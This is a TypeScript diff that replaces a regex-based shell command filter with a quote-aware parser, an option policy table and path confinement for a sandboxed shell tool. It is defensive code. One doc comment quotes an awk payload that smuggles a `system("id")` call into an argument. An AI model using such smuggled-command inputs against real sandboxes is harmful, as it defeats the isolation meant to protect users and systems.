export interface ShellValidationOptions {
- allowedCommands?: Set<string>
- blockedPatterns?: RegExp[]
+ /** Narrows the policy table to a subset of commands. */
+ allowedCommands?: ReadonlySet<string>
+ /** Path operands must resolve inside this directory. */
allowedBaseDirectory?: string
}
export type ShellValidationResult =
+ | { ok: true, command: string }
+ | { ok: false, reason: string }
+
+type StageResult =
| { ok: true }
| { ok: false, reason: string }
-function extractPotentialPathTokens(command: string): string[] {
- const tokenRegex = /(?:^|\s)(\/[^\s|;&]+|\.{1,2}\/[^\s|;&]+)/g
- const tokens: string[] = []
+interface ParsedCommandLine {
+ stages: string[][]
+ separators: string[]
+}
+
+type ParseResult =
+ | { ok: true, parsed: ParsedCommandLine }
+ | { ok: false, reason: string }
+
+/**
+ * Splits a command line into stages of argv tokens, resolving quotes and
+ * refusing every shell construct the sandbox has no use for. Nothing here
+ * interprets the tokens, so `awk 'BEGIN{system("id")}'` parses as a single
+ * `awk` argument rather than as a command able to spawn `id`.
+ */
+function parseCommandLine(command: string): ParseResult {
+ const stages: string[][] = []
+ const separators: string[] = []
+ let argv: string[] = []
+ let token: string | null = null
+
+ const endToken = () => {
+ if (token !== null) {
+ argv.push(token)
+ token = null
+ }
+ }
+
+ const endStage = (separator: string): ParseResult | null => {
+ endToken()
+ if (argv.length === 0) {
+ return { ok: false, reason: `Empty command segment before "${separator}"` }
+ }
+ stages.push(argv)
+ argv = []
+ separators.push(separator)
+ return null
+ }
+
+ for (let i = 0; i < command.length; i++) {
+ const char = command[i]!
+
+ if (char === '\'') {
+ const end = command.indexOf('\'', i + 1)
+ if (end === -1) {
+ return { ok: false, reason: 'Unbalanced single quote' }
+ }
+ token = (token ?? '') + command.slice(i + 1, end)
+ i = end
+ continue
+ }
+
+ if (char === '"') {
+ let value = ''
+ let j = i + 1
+ let closed = false
+ while (j < command.length) {
+ const inner = command[j]!
+ if (inner === '\\' && ['"', '\\', '$', '`'].includes(command[j + 1] ?? '')) {
+ value += command[j + 1]!
+ j += 2
+ continue
+ }
+ if (inner === '"') {
+ closed = true
+ break
+ }
+ if (inner === '`' || (inner === '$' && command[j + 1] === '(')) {
+ return { ok: false, reason: 'Command substitution is not allowed' }
+ }
+ value += inner
+ j++
+ }
+ if (!closed) {
+ return { ok: false, reason: 'Unbalanced double quote' }
+ }
+ token = (token ?? '') + value
+ i = j
+ continue
+ }
+
+ if (char === '\\') {
+ const next = command[i + 1]
+ if (next === undefined) {
+ return { ok: false, reason: 'Trailing backslash' }
+ }
+ token = (token ?? '') + next
+ i++
+ continue
+ }
+
+ if (char === ' ' || char === '\t') {
+ endToken()
+ continue
+ }
+
+ if (char === '\n' || char === '\r') {
+ return { ok: false, reason: 'Newlines are not allowed' }
+ }
+
+ if (char === '`' || (char === '$' && command[i + 1] === '(')) {
+ return { ok: false, reason: 'Command substitution is not allowed' }
+ }
+
+ if (char === '>' || char === '<') {
+ return { ok: false, reason: 'Redirection is not allowed' }
+ }
+
+ if (char === '(' || char === ')' || char === '{' || char === '}') {
+ return { ok: false, reason: 'Subshells and brace groups are not allowed' }
+ }
+
+ if (char === '|') {
+ const isOr = command[i + 1] === '|'
+ const error = endStage(isOr ? '||' : '|')
+ if (error) return error
+ if (isOr) i++
+ continue
+ }
+
+ if (char === '&') {
+ if (command[i + 1] !== '&') {
+ return { ok: false, reason: 'Background execution is not allowed' }
+ }
+ const error = endStage('&&')
+ if (error) return error
+ i++
+ continue
+ }
+
+ if (char === ';') {
+ const error = endStage(';')
+ if (error) return error
+ continue
+ }
+
+ token = (token ?? '') + char
+ }
+
+ endToken()
+
+ if (argv.length > 0) {
+ stages.push(argv)
+ } else if (separators.length > 0) {
+ // A trailing `;` just terminates the last command; a dangling `|` or `&&` is
+ // a syntax error, and silently dropping it would rewrite the command.
+ const trailing = separators[separators.length - 1]!
+ if (trailing !== ';') {
+ return { ok: false, reason: `Empty command segment after "${trailing}"` }
+ }
+ separators.pop()
+ }
+
+ if (stages.length === 0) {
+ return { ok: false, reason: 'Empty command' }
+ }
+ if (stages.length > MAX_STAGES) {
+ return { ok: false, reason: `Too many command segments (max ${MAX_STAGES})` }
+ }
+ if (stages.some(stage => stage.length > MAX_TOKENS_PER_STAGE)) {
+ return { ok: false, reason: `Too many arguments (max ${MAX_TOKENS_PER_STAGE})` }
+ }
+
+ return { ok: true, parsed: { stages, separators } }
+}
+
+type OptionResult =
+ | { ok: true, consumesNext: boolean, name: string }
+ | { ok: false, reason: string }
+
+/** Resolves a whole-word option (`--include=*.md`, `-maxdepth 2`) against the policy. */
+function validateWordOption(
+ arg: string,
+ command: string,
+ options: ReadonlySet<string>,
+ valueOptions: ReadonlySet<string>,
+): OptionResult {
+ const equals = arg.indexOf('=')
+ const name = equals === -1 ? arg : arg.slice(0, equals)
- let match: RegExpExecArray | null = null
- while ((match = tokenRegex.exec(command)) !== null) {
- const [, token] = match
- if (token) {
- tokens.push(token.replace(/^['"]|['"]$/g, ''))
+ if (valueOptions.has(name)) {
+ return { ok: true, consumesNext: equals === -1, name }
+ }
+ if (options.has(name)) {
+ if (equals !== -1) {
+ return { ok: false, reason: `Option does not take a value: ${name}` }
}
+ return { ok: true, consumesNext: false, name }
}
+ return { ok: false, reason: `Option not allowed for ${command}: ${name}` }
+}
- return tokens
+/** Resolves a short option cluster such as `-rl`, `-n5` or `-A`. */
+function validateShortCluster(
+ arg: string,
+ command: string,
+ options: ReadonlySet<string>,
+ valueOptions: ReadonlySet<string>,
+): OptionResult {
+ const chars = arg.slice(1)
+
+ for (let i = 0; i < chars.length; i++) {
+ const name = `-${chars[i]}`
+
+ if (valueOptions.has(name)) {
+ // Whatever remains in the cluster is this option's value, as in `-n5`.
+ return { ok: true, consumesNext: i === chars.length - 1, name }
+ }
+ if (!options.has(name)) {
+ return { ok: false, reason: `Option not allowed for ${command}: ${name}` }
+ }
+ }
+
+ return { ok: true, consumesNext: false, name: arg }
}
-function validatePaths(command: string, allowedBaseDirectory?: string): ShellValidationResult {
- if (!allowedBaseDirectory) {
- return { ok: true }
+function validateStage(argv: string[], options?: ShellValidationOptions): StageResult {
+ const command = argv[0]!
+
+ if (command.includes('=')) {
+ return { ok: false, reason: `Environment assignments are not allowed: ${command}` }
}
- const tokens = extractPotentialPathTokens(command)
- for (const token of tokens) {
- if (token.startsWith('../')) {
- return { ok: false, reason: `Path traversal is not allowed: ${token}` }
+ const policy = COMMAND_POLICIES[command]
+ if (!policy || (options?.allowedCommands && !options.allowedCommands.has(command))) {
+ return { ok: false, reason: `Command not allowed: ${command}` }
+ }
+
+ const allowedOptions = new Set(policy.options ?? [])
+ const allowedValueOptions = new Set(policy.valueOptions ?? [])
+ const rest = argv.slice(1)
+ const operands: string[] = []
+ let endOfOptions = false
+ let hasPatternOption = false
+
+ for (let i = 0; i < rest.length; i++) {
+ const arg = rest[i]!
+
+ if (endOfOptions || arg === '-' || !arg.startsWith('-')) {
+ operands.push(arg)
+ continue
}
- if (token.startsWith('/')) {
- if (!isPathWithinDirectory(token, allowedBaseDirectory)) {
- return { ok: false, reason: `Path outside sandbox is not allowed: ${token}` }
- }
+
+ if (arg === '--') {
+ endOfOptions = true
+ continue
+ }
+
+ if (policy.numericOption && /^-\d+$/.test(arg)) {
+ continue
+ }
+
+ const result = arg.startsWith('--') || policy.singleDashWords
+ ? validateWordOption(arg, command, allowedOptions, allowedValueOptions)
+ : validateShortCluster(arg, command, allowedOptions, allowedValueOptions)
+
+ if (!result.ok) {
+ return result
+ }
+ if (PATTERN_OPTIONS.has(result.name)) {
+ hasPatternOption = true
+ }
+ if (result.consumesNext && ++i >= rest.length) {
+ return { ok: false, reason: `Option requires a value: ${result.name}` }
+ }
+ }
+
+ const operandKind = policy.operands ?? 'paths'
+ if (operandKind === 'literals' || !options?.allowedBaseDirectory) {
+ return { ok: true }
+ }
+
+ // `grep pattern path...` — the leading operand is a regex, not a file.
+ const pathOperands = operandKind === 'literal-then-paths' && !hasPatternOption
+ ? operands.slice(1)
+ : operands
+
+ for (const operand of pathOperands) {
+ const resolved = path.resolve(options.allowedBaseDirectory, operand)
+ if (!isPathWithinDirectory(resolved, options.allowedBaseDirectory)) {
+ return { ok: false, reason: `Path outside sandbox is not allowed: ${operand}` }
}
}
return { ok: true }
}
+/** Single-quotes a token so the shell treats every character as literal text. */
+function quoteToken(token: string): string {
+ return `'${token.replace(/'/g, '\'\\\'\'')}'`
+}
+
+/**
+ * Parses and authorises a command line, returning an equivalent line that is
+ * safe to hand to `bash -c`.
+ *
+ * The returned `command` is rebuilt from the parsed tokens with every argument
+ * single-quoted, so it carries no metacharacters, no expansions and no nested
+ * commands. Callers must execute that string rather than their own input.
+ */
export function validateShellCommand(
command: string,
options?: ShellValidationOptions,
): ShellValidationResult {
- const blockedPatterns = options?.blockedPatterns ?? BLOCKED_SHELL_PATTERNS
- const allowedCommands = options?.allowedCommands ?? ALLOWED_BASH_COMMANDS
-
- for (const pattern of blockedPatterns) {
- if (pattern.test(command)) {
- return { ok: false, reason: `Command contains blocked pattern: ${command.slice(0, 50)}` }
- }
+ const parsed = parseCommandLine(command)
+ if (!parsed.ok) {
+ return { ok: false, reason: parsed.reason }
}
- const segments = command.split(/\s*(?:\|(?!\|)|\|\||&&|;)\s*/)
- for (const segment of segments) {
- const trimmed = segment.trim()
- if (!trimmed) continue
- const words = trimmed.split(/\s+/)
- const cmdName = words.find(w => !w.includes('=')) || words[0]
- if (!cmdName || !allowedCommands.has(cmdName)) {
- return { ok: false, reason: `Command not allowed: ${cmdName || 'unknown'}` }
+ const { stages, separators } = parsed.parsed
+
+ for (const stage of stages) {
+ const result = validateStage(stage, options)
+ if (!result.ok) {
+ return result
}
}
- return validatePaths(command, options?.allowedBaseDirectory)
+ const sanitized = stages
+ .map(stage => stage.map(quoteToken).join(' '))
+ .reduce((line, stage, index) => `${line} ${separators[index - 1]!} ${stage}`)
+
+ return { ok: true, command: sanitized }
}